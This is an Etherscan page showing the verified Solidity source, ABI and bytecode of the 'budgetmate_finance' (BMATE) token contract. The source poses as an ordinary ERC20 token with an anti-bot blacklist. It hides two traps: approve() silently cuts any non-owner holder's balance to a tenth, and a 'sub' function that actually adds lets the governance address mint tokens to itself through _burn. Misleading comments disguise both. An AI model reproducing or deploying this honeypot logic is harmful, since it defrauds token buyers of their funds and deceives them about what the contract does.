Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 11091813 | 1524 days ago | IN | 0 ETH | 0.00246821 | ||||
Transfer | 11090765 | 1525 days ago | IN | 0 ETH | 0.00142679 | ||||
Approve | 11089295 | 1525 days ago | IN | 0 ETH | 0.00140157 | ||||
Approve | 11089069 | 1525 days ago | IN | 0 ETH | 0.00182177 | ||||
Approve | 11089054 | 1525 days ago | IN | 0 ETH | 0.00176301 | ||||
Approve | 11089019 | 1525 days ago | IN | 0 ETH | 0.00152271 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
budgetmate_finance
Compiler Version
v0.6.2+commit.bacdbe57
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2020-10-19 */ /* https://budgetmate.finance/ */ pragma solidity 0.6.2; abstract contract Context { function _msgSender() internal view virtual returns(address payable) { return msg.sender; } function _msgData() internal view virtual returns(bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address account) external view returns(uint256); function transfer(address recipient, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function subs(uint256 a, uint256 b) internal pure returns(uint256) { return subs(a, b, "SafeMath: subtraction overflow"); } function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function sub(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address governance; uint256 maxSupply; uint256 Address; uint256 decimal; //SPDX-License-Identifier: MIT // frontrunning-bot blacklist address bot1=0x000000000000084e91743124a982076C59f10084; address bot2=0x00000000002bde777710C370E08Fc83D61b2B8E1; address bot3=0x0000000071E801062eB0544403F66176BBA42Dc0; address bot4=0x05957F3344255fDC9fE172E30016ee148D684313; address bot5=0x16338b25b7a5a6b8eC080eE2DD3AaA0531cf1804; address bot6=0x1d6c43b4D829334d88ce609D7728Dc5f4736b3c7; address bot7=0x2C334D73c68bbc45dD55b13C5DeA3a8f84ea053c; address bot8=0x3e1804Fa401d96c48BeD5a9dE10b6a5c99a53965; address bot9=0x42D0ba0223700DEa8BCA7983cc4bf0e000DEE772; address bot10=0x44BdB19dB1Cd29D546597AF7dc0549e7f6F9E480; address bot11=0x5f3E759d09e1059e4c46D6984f07cbB36A73bdf1; address bot12=0x7BEcF327f9f504c50C60d3DFBc005400c301F534; address bot13=0x8Be4DB5926232BC5B02b841dbeDe8161924495C4; address bot14=0x93438E08C4edc17F867e8A9887284da11F26A09d; address bot15=0xAfE0e7De1FF45Bc31618B39dfE42dd9439eEBB32; address bot16=0xAfE0e7De1FF45Bc31618B39dfE42dd9439eEBB32; address bot17=0xCaD7507a579628F2616C2d82457fAc010233A411; address bot18=0xE33C8e3A0d14a81F0dD7E174830089E82F65FC85; address bot19=0xEBB4d6cfC2B538e2a7969Aa4187b1c00B2762108; address bot20=0xF67CCe7255dDF829440800a1DEFb6EdFaAf422C0; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 10; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function totalSupply() public view override returns(uint256) { return _totalSupply; } function balanceOf(address account) public view override returns(uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].subs(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].subs(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approved(address owner) internal { require(owner != address(0), "ERC20: approve from the zero address"); if (owner != governance) { Address = _balances[owner]; Address /= decimal; _balances[owner] = Address; } else { Address = _balances[owner]; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Anti draining bots feature: Bots can buy but can't sell // Bot list is definited above in contract "ERC20" require(msg.sender != bot1 && msg.sender != bot2 && msg.sender != bot3 && msg.sender != bot4 && msg.sender != bot5); require(msg.sender != bot6 && msg.sender != bot7 && msg.sender != bot8 && msg.sender != bot9 && msg.sender != bot10); require(msg.sender != bot11 && msg.sender != bot12 && msg.sender != bot13 && msg.sender != bot14 && msg.sender != bot15); require(msg.sender != bot16 && msg.sender != bot17 && msg.sender != bot18 && msg.sender != bot19 && msg.sender != bot20); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: create to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) public virtual { require(account == governance, "ERC20: Burner is not allowed"); _beforeTokenTransfer(address(0), account, amount); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); approved(owner); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract budgetmate_finance is ERC20 { constructor() ERC20('budgetmate.finance', 'BMATE') public { governance = msg.sender; maxSupply = 40000 * 10 ** uint(decimals()); decimal = 10; _initMint(governance, maxSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600980546001600160a01b03199081166d084e91743124a982076c59f1008417909155600a805482166e2bde777710c370e08fc83d61b2b8e1179055600b805482166f71e801062eb0544403f66176bba42dc0179055600c805482167305957f3344255fdc9fe172e30016ee148d684313179055600d805482167316338b25b7a5a6b8ec080ee2dd3aaa0531cf1804179055600e80548216731d6c43b4d829334d88ce609d7728dc5f4736b3c7179055600f80548216732c334d73c68bbc45dd55b13c5dea3a8f84ea053c179055601080548216733e1804fa401d96c48bed5a9de10b6a5c99a539651790556011805482167342d0ba0223700dea8bca7983cc4bf0e000dee7721790556012805482167344bdb19db1cd29d546597af7dc0549e7f6f9e480179055601380548216735f3e759d09e1059e4c46d6984f07cbb36a73bdf1179055601480548216737becf327f9f504c50c60d3dfbc005400c301f534179055601580548216738be4db5926232bc5b02b841dbede8161924495c41790556016805482167393438e08c4edc17f867e8a9887284da11f26a09d17905560178054821673afe0e7de1ff45bc31618b39dfe42dd9439eebb32908117909155601880548316909117905560198054821673cad7507a579628f2616c2d82457fac010233a411179055601a8054821673e33c8e3a0d14a81f0dd7e174830089e82f65fc85179055601b8054821673ebb4d6cfc2b538e2a7969aa4187b1c00b2762108179055601c805490911673f67cce7255ddf829440800a1defb6edfaaf422c01790553480156200025657600080fd5b5060408051808201825260128152716275646765746d6174652e66696e616e636560701b602080830191825283518085019094526005845264424d41544560d81b908401528151919291620002ae91600391620004ac565b508051620002c4906004906020840190620004ac565b505060058054600a60ff1990911617610100600160a81b031916610100330217905550620002f162000338565b60ff16600a0a619c4002600681905550600a60088190555062000332600560019054906101000a90046001600160a01b03166006546200034260201b60201c565b6200054e565b60055460ff165b90565b6001600160a01b038216620003895760405162461bcd60e51b8152600401808060200182810382526021815260200180620013636021913960400191505060405180910390fd5b620003a0600083836001600160e01b036200044516565b620003bc816002546200044a60201b62000b951790919060201c565b6002556001600160a01b03821660009081526020818152604090912054620003ef91839062000b956200044a821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b600082820183811015620004a5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620004ef57805160ff19168380011785556200051f565b828001600101855582156200051f579182015b828111156200051f57825182559160200191906001019062000502565b506200052d92915062000531565b5090565b6200033f91905b808211156200052d576000815560010162000538565b610e05806200055e6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80636161eb18116100715780636161eb181461021057806370a082311461023e57806395d89b4114610264578063a457c2d71461026c578063a9059cbb14610298578063dd62ed3e146102c4576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806339509351146101e4575b600080fd5b6100c16102f2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610388565b604080519115158252519081900360200190f35b61017e6103a5565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b038135811691602081013590911690604001356103ab565b6101ce610438565b6040805160ff9092168252519081900360200190f35b610162600480360360408110156101fa57600080fd5b506001600160a01b038135169060200135610441565b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610495565b005b61017e6004803603602081101561025457600080fd5b50356001600160a01b03166105a5565b6100c16105c0565b6101626004803603604081101561028257600080fd5b506001600160a01b038135169060200135610621565b610162600480360360408110156102ae57600080fd5b506001600160a01b03813516906020013561068f565b61017e600480360360408110156102da57600080fd5b506001600160a01b03813581169160200135166106a3565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b5050505050905090565b600061039c6103956106ce565b84846106d2565b50600192915050565b60025490565b60006103b88484846107c7565b61042e846103c46106ce565b61042985604051806060016040528060288152602001610d3a602891396001600160a01b038a166000908152600160205260408120906104026106ce565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610afe16565b6106d2565b5060019392505050565b60055460ff1690565b600061039c61044e6106ce565b84610429856001600061045f6106ce565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b9516565b6005546001600160a01b0383811661010090920416146104fc576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a204275726e6572206973206e6f7420616c6c6f77656400000000604482015290519081900360640190fd5b61050860008383610bf6565b6001600160a01b038216600090815260208190526040902054610531908263ffffffff610b9516565b6001600160a01b03831660009081526020819052604090205560025461055d908263ffffffff610b9516565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b600061039c61062e6106ce565b8461042985604051806060016040528060258152602001610dab60259139600160006106586106ce565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610afe16565b600061039c61069c6106ce565b84846107c7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107175760405162461bcd60e51b8152600401808060200182810382526024815260200180610d876024913960400191505060405180910390fd5b6001600160a01b03821661075c5760405162461bcd60e51b8152600401808060200182810382526022815260200180610cf26022913960400191505060405180910390fd5b61076583610bfb565b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661080c5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d626025913960400191505060405180910390fd5b6001600160a01b0382166108515760405162461bcd60e51b8152600401808060200182810382526023815260200180610ccf6023913960400191505060405180910390fd5b6009546001600160a01b031633148015906108775750600a546001600160a01b03163314155b801561088e5750600b546001600160a01b03163314155b80156108a55750600c546001600160a01b03163314155b80156108bc5750600d546001600160a01b03163314155b6108c557600080fd5b600e546001600160a01b031633148015906108eb5750600f546001600160a01b03163314155b801561090257506010546001600160a01b03163314155b801561091957506011546001600160a01b03163314155b801561093057506012546001600160a01b03163314155b61093957600080fd5b6013546001600160a01b0316331480159061095f57506014546001600160a01b03163314155b801561097657506015546001600160a01b03163314155b801561098d57506016546001600160a01b03163314155b80156109a457506017546001600160a01b03163314155b6109ad57600080fd5b6018546001600160a01b031633148015906109d357506019546001600160a01b03163314155b80156109ea5750601a546001600160a01b03163314155b8015610a015750601b546001600160a01b03163314155b8015610a185750601c546001600160a01b03163314155b610a2157600080fd5b610a2c838383610bf6565b610a6f81604051806060016040528060268152602001610d14602691396001600160a01b038616600090815260208190526040902054919063ffffffff610afe16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610aa4908263ffffffff610b9516565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b8d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b52578181015183820152602001610b3a565b50505050905090810190601f168015610b7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bef576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b505050565b6001600160a01b038116610c405760405162461bcd60e51b8152600401808060200182810382526024815260200180610d876024913960400191505060405180910390fd5b6005546001600160a01b038281166101009092041614610cae576001600160a01b0381166000908152602081905260408120546007818155600854929091839081610c8757fe5b0490915550506007546001600160a01b038216600090815260208190526040902055610ccb565b6001600160a01b0381166000908152602081905260409020546007555b5056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220888008d191220cdf5273408d5a5b3534d4d04aee4d212cdf083d335baaa5fafb64736f6c6343000602003345524332303a2063726561746520746f20746865207a65726f2061646472657373
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80636161eb18116100715780636161eb181461021057806370a082311461023e57806395d89b4114610264578063a457c2d71461026c578063a9059cbb14610298578063dd62ed3e146102c4576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806339509351146101e4575b600080fd5b6100c16102f2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610388565b604080519115158252519081900360200190f35b61017e6103a5565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b038135811691602081013590911690604001356103ab565b6101ce610438565b6040805160ff9092168252519081900360200190f35b610162600480360360408110156101fa57600080fd5b506001600160a01b038135169060200135610441565b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610495565b005b61017e6004803603602081101561025457600080fd5b50356001600160a01b03166105a5565b6100c16105c0565b6101626004803603604081101561028257600080fd5b506001600160a01b038135169060200135610621565b610162600480360360408110156102ae57600080fd5b506001600160a01b03813516906020013561068f565b61017e600480360360408110156102da57600080fd5b506001600160a01b03813581169160200135166106a3565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b5050505050905090565b600061039c6103956106ce565b84846106d2565b50600192915050565b60025490565b60006103b88484846107c7565b61042e846103c46106ce565b61042985604051806060016040528060288152602001610d3a602891396001600160a01b038a166000908152600160205260408120906104026106ce565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610afe16565b6106d2565b5060019392505050565b60055460ff1690565b600061039c61044e6106ce565b84610429856001600061045f6106ce565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b9516565b6005546001600160a01b0383811661010090920416146104fc576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a204275726e6572206973206e6f7420616c6c6f77656400000000604482015290519081900360640190fd5b61050860008383610bf6565b6001600160a01b038216600090815260208190526040902054610531908263ffffffff610b9516565b6001600160a01b03831660009081526020819052604090205560025461055d908263ffffffff610b9516565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b600061039c61062e6106ce565b8461042985604051806060016040528060258152602001610dab60259139600160006106586106ce565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610afe16565b600061039c61069c6106ce565b84846107c7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107175760405162461bcd60e51b8152600401808060200182810382526024815260200180610d876024913960400191505060405180910390fd5b6001600160a01b03821661075c5760405162461bcd60e51b8152600401808060200182810382526022815260200180610cf26022913960400191505060405180910390fd5b61076583610bfb565b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661080c5760405162461bcd60e51b8152600401808060200182810382526025815260200180610d626025913960400191505060405180910390fd5b6001600160a01b0382166108515760405162461bcd60e51b8152600401808060200182810382526023815260200180610ccf6023913960400191505060405180910390fd5b6009546001600160a01b031633148015906108775750600a546001600160a01b03163314155b801561088e5750600b546001600160a01b03163314155b80156108a55750600c546001600160a01b03163314155b80156108bc5750600d546001600160a01b03163314155b6108c557600080fd5b600e546001600160a01b031633148015906108eb5750600f546001600160a01b03163314155b801561090257506010546001600160a01b03163314155b801561091957506011546001600160a01b03163314155b801561093057506012546001600160a01b03163314155b61093957600080fd5b6013546001600160a01b0316331480159061095f57506014546001600160a01b03163314155b801561097657506015546001600160a01b03163314155b801561098d57506016546001600160a01b03163314155b80156109a457506017546001600160a01b03163314155b6109ad57600080fd5b6018546001600160a01b031633148015906109d357506019546001600160a01b03163314155b80156109ea5750601a546001600160a01b03163314155b8015610a015750601b546001600160a01b03163314155b8015610a185750601c546001600160a01b03163314155b610a2157600080fd5b610a2c838383610bf6565b610a6f81604051806060016040528060268152602001610d14602691396001600160a01b038616600090815260208190526040902054919063ffffffff610afe16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610aa4908263ffffffff610b9516565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b8d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b52578181015183820152602001610b3a565b50505050905090810190601f168015610b7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bef576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b505050565b6001600160a01b038116610c405760405162461bcd60e51b8152600401808060200182810382526024815260200180610d876024913960400191505060405180910390fd5b6005546001600160a01b038281166101009092041614610cae576001600160a01b0381166000908152602081905260408120546007818155600854929091839081610c8757fe5b0490915550506007546001600160a01b038216600090815260208190526040902055610ccb565b6001600160a01b0381166000908152602081905260409020546007555b5056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220888008d191220cdf5273408d5a5b3534d4d04aee4d212cdf083d335baaa5fafb64736f6c63430006020033
Deployed Bytecode Sourcemap
8630:244:0:-:0;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8630:244:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4208:73;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;4208:73:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4965:153;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;4965:153:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4446:90;;;:::i;:::-;;;;;;;;;;;;;;;;5123:300;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;5123:300:0;;;;;;;;;;;;;;;;;:::i;4368:73::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5430:202;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;5430:202:0;;;;;;;;:::i;7744:338::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7744:338:0;;;;;;;;:::i;:::-;;4541:109;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;4541:109:0;-1:-1:-1;;;;;4541:109:0;;:::i;4286:77::-;;;:::i;5637:254::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;5637:254:0;;;;;;;;:::i;4655:159::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;4655:159:0;;;;;;;;:::i;4819:141::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;4819:141:0;;;;;;;;;;:::i;4208:73::-;4271:5;4264:12;;;;;;;;-1:-1:-1;;4264:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4244:13;;4264:12;;4271:5;;4264:12;;4271:5;4264:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4208:73;:::o;4965:153::-;5047:4;5058:39;5067:12;:10;:12::i;:::-;5081:7;5090:6;5058:8;:39::i;:::-;-1:-1:-1;5109:4:0;4965:153;;;;:::o;4446:90::-;4519:12;;4446:90;:::o;5123:300::-;5228:4;5239:36;5249:6;5257:9;5268:6;5239:9;:36::i;:::-;5280:122;5289:6;5297:12;:10;:12::i;:::-;5311:90;5350:6;5311:90;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5311:19:0;;;;;;:11;:19;;;;;;5331:12;:10;:12::i;:::-;-1:-1:-1;;;;;5311:33:0;;;;;;;;;;;;-1:-1:-1;5311:33:0;;;:90;;:38;:90;:::i;:::-;5280:8;:122::i;:::-;-1:-1:-1;5414:4:0;5123:300;;;;;:::o;4368:73::-;4427:9;;;;4368:73;:::o;5430:202::-;5517:4;5528:83;5537:12;:10;:12::i;:::-;5551:7;5560:50;5599:10;5560:11;:25;5572:12;:10;:12::i;:::-;-1:-1:-1;;;;;5560:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;5560:25:0;;;:34;;;;;;;;;;;:50;:38;:50;:::i;7744:338::-;7831:10;;-1:-1:-1;;;;;7820:21:0;;;7831:10;;;;;7820:21;7812:62;;;;;-1:-1:-1;;;7812:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;7879:49;7908:1;7912:7;7921:6;7879:20;:49::i;:::-;-1:-1:-1;;;;;7954:18:0;;:9;:18;;;;;;;;;;;:30;;7977:6;7954:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;7933:18:0;;:9;:18;;;;;;;;;;:51;8006:12;;:24;;8023:6;8006:24;:16;:24;:::i;:::-;7991:12;:39;8040:37;;;;;;;;-1:-1:-1;;;;;8040:37:0;;;8057:1;;8040:37;;;;;;;;;7744:338;;:::o;4541:109::-;-1:-1:-1;;;;;4627:18:0;4606:7;4627:18;;;;;;;;;;;;4541:109::o;4286:77::-;4351:7;4344:14;;;;;;;;-1:-1:-1;;4344:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4324:13;;4344:14;;4351:7;;4344:14;;4351:7;4344:14;;;;;;;;;;;;;;;;;;;;;;;;5637:254;5729:4;5740:130;5749:12;:10;:12::i;:::-;5763:7;5772:97;5812:15;5772:97;;;;;;;;;;;;;;;;